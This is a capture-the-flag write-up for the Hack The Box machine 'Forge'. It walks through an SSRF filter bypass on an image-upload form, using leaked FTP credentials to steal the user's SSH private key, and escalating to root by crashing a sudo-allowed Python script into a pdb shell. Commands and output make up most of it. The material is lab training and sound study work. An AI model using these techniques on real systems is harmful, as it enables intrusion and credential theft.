Forge - [HTB]

Cover Image for Forge - [HTB]

Table of Contents


    Forge is a medium linux machine where the attacker will have to exploit an SSRF (Server Side Request Forgery) on an images web page in order to retrieve the user's SSH private key. Finally, the attacker will have to raise an exception for a python server triggering a debugging console and becoming root.


    As always, let's start finding all opened ports available on the machine with nmap.

    kali@kali:~/HTB/Forge$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Warning: giving up on port because retransmission cap hit (2).
    Nmap scan report for
    Host is up (0.11s latency).
    Not shown: 65532 closed ports
    21/tcp filtered ftp
    22/tcp open     ssh
    80/tcp open     http

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/HTB/Forge$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 21,22,80
    Nmap scan report for
    Host is up (0.11s latency).
    21/tcp filtered ftp
    22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
    |   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
    |_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
    80/tcp open     http    Apache httpd 2.4.41
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Did not follow redirect to http://forge.htb
    Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Service detection performed. Please report any incorrect results at .
    # Nmap done at Sun Sep 12 13:11:05 2021 -- 1 IP address (1 host up) scanned in 13.51 seconds

    As we can see above nmap provide us with a domain forge.htb, adding it to the /etc/host file we can access a gallery web page where we can upload our own images.

    image gallery

    The web page provide us with two ways of uploading images via file or from URL.

    Upload image form

    Every file uploaded to the web page is stored under the uploads directory with a random name without extension.

    Upload successfully

    Furthermore, by enumerating subdomains with ffuz we can retrieve the subdomain admin.forge.htb.

    kali@kali:~/HTB/Forge$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://forge.htb -H "Host: FUZZ.forge.htb" -fw 18
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
     :: Method           : GET
     :: URL              : http://forge.htb
     :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
     :: Header           : Host: FUZZ.forge.htb
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 40
     :: Matcher          : Response status: 200,204,301,302,307,401,403,405
     :: Filter           : Response words: 18
    admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

    However, trying to access this subdomain appears a text saying "Only localhost is allowed!".

    Localhost allowed

    Trying to submit this subdomain to the URL image form an error appears.

    URL error


    Nonetheless, this filter can be easily bypassed by writing the domain in capital letters http://ADMIN.FORGE.HTBobtaining the contents of the admin web page.

    kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/H9Z1Hs0Vn3yf9g0yVyyG
    <!DOCTYPE html>
        <title>Admin Portal</title>
        <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                    <h1 class=""><a href="/">Portal home</a></h1>
                    <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                    <h1 class="align-right"><a href="/upload">Upload image</a></h1>
        <center><h1>Welcome Admins!</h1></center>

    As we can see above there is also an/announcements directory where we can retrieve more information.

    Using the same procedure we can retrieve the following page.

    kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/KcB0PZHqrZuwvFcCNq3m
    <!DOCTYPE html>
        <link rel="stylesheet" type="text/css" href="/static/css/main.css">
        <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
                    <h1 class=""><a href="/">Portal home</a></h1>
                    <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                    <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
            <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
            <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

    As the text says, there is an endpoint under /upload where we can retrieve files through the ftp protocol.

    After some trial and error we are able to retrieve the user flag.

    kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/&remote=1' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
    kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/JRZLbkK7cMrvyUnGApPW
    drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
    -rw-r-----    1 0        1000           33 Sep 12 03:16 user.txt

    Moreover, we can get access to the machine obtaining the users's ssh private key.

    kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa&remote=1' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
    kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/ao5rFA3JKD0LPSuqKniX -o id_rsa

    However, we still need to know the username's private key. This can be easily obtained by downloading the public key.

    kali@kali:~/HTB/Forge$ curl -X POST http://forge.htb/upload -H "Content-Type: application/x-www-form-urlencoded" -d 'url=http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/' | grep  "uploads" | grep  -o '".*"' | sed 's/"//g'
    kali@kali:~/HTB/Forge$ curl http://forge.htb/uploads/hdjb3bbOm6GlCIITHcwi
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdkg75DLB+Cd+2qjlqz6isdb/DVZusbqLoHtO/Y91DT02LE6a0dHeufEei6/j+XWk7aeM9/kZuNUcCwzAkNeYM2Nqpl8705gLsruGvsVXrGVRZOHBwqjSEg5W4TsmHV36N+kNhheo43mvoPM4MjlYzAsqX2fmtu0WSjfFot7CQdhMTZhje69WmnGycK8n/q6SvqntvNxHKBitPIQBaDmA5F+yqELcdqg7FeJeAbNNbJe1/ajjOY2Gy192BZYGkR9uAWBncNYn67bP9U5unQggoR+yBf5xZdBS3xEkCcqBNSMYCZ81Ev2cnGiZgeXJJDPbEvhRhdfNevwaYvpfT6cqtGCVo0V0LTKQtMayIazX5tzqMmIPURKJ5sBL9ksBNOxofjogT++/1c4nTmoRdEZTP5qmXMMbjBa+JI256sPL09MbEHqRHmkZsJoRahE8tUhv0SqdaHbv2Ze7RvjNiESD6fIMrq6L+euZFhQ5p2AIpdHvOUSbeaCPiG7hwVqwf8qU= user@forge

    Finally, we are able to get access through ssh into the machine.

    kali@kali:~/HTB/Forge$ ssh -i id_rsa user@forge.htb
    user@forge:~$ id
    uid=1000(user) gid=1000(user) groups=1000(user)

    Privilege Escalation

    As we can see, user is able to execute the python script

    user@forge:~$ sudo -l
    Matching Defaults entries for user on forge:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    User user may run the following commands on forge:
        (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/

    This file creates a server on a random port where the client will have to send the password "secretadminpassword" in order to access the several options that it provides. Finally, everything is wrapped under a try-catch executing the Python Debugger console in case an exception occurs.

    #!/usr/bin/env python3                   
    import socket        
    import random         
    import subprocess
    import pdb 
        if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
            clientsock.send(b'Wrong password!\n')
            clientsock.send(b'Welcome admin!\n')
            while True:
                option = int(clientsock.recv(1024).strip())
    except Exception as e:

    The easiest way to raise an exception in this code is by simply sending any letter in the options menu. Once, catched the python exception, a debugger console will appear allowing us to execute any command as root, obtaining the root flag.

    user@forge:~$ sudo /usr/bin/python3 /opt/ 
    Listening on localhost:31074
    user@forge:~$ nc localhost 37662
    Enter the secret passsword: secretadminpassword
    Welcome admin!
    What do you wanna do: 
    [1] View processes
    [2] View free memory
    [3] View listening sockets
    [4] Quit
    user@forge:~$ sudo /usr/bin/python3 /opt/ 
    Listening on localhost:31074
    invalid literal for int() with base 10: b'sdfsdfa'
    > /opt/<module>()
    -> option = int(clientsock.recv(1024).strip())
    (Pdb) import os
    (Pdb) os.system("/bin/bash -p")
    root@forge:/home/user# cat /root/root.txt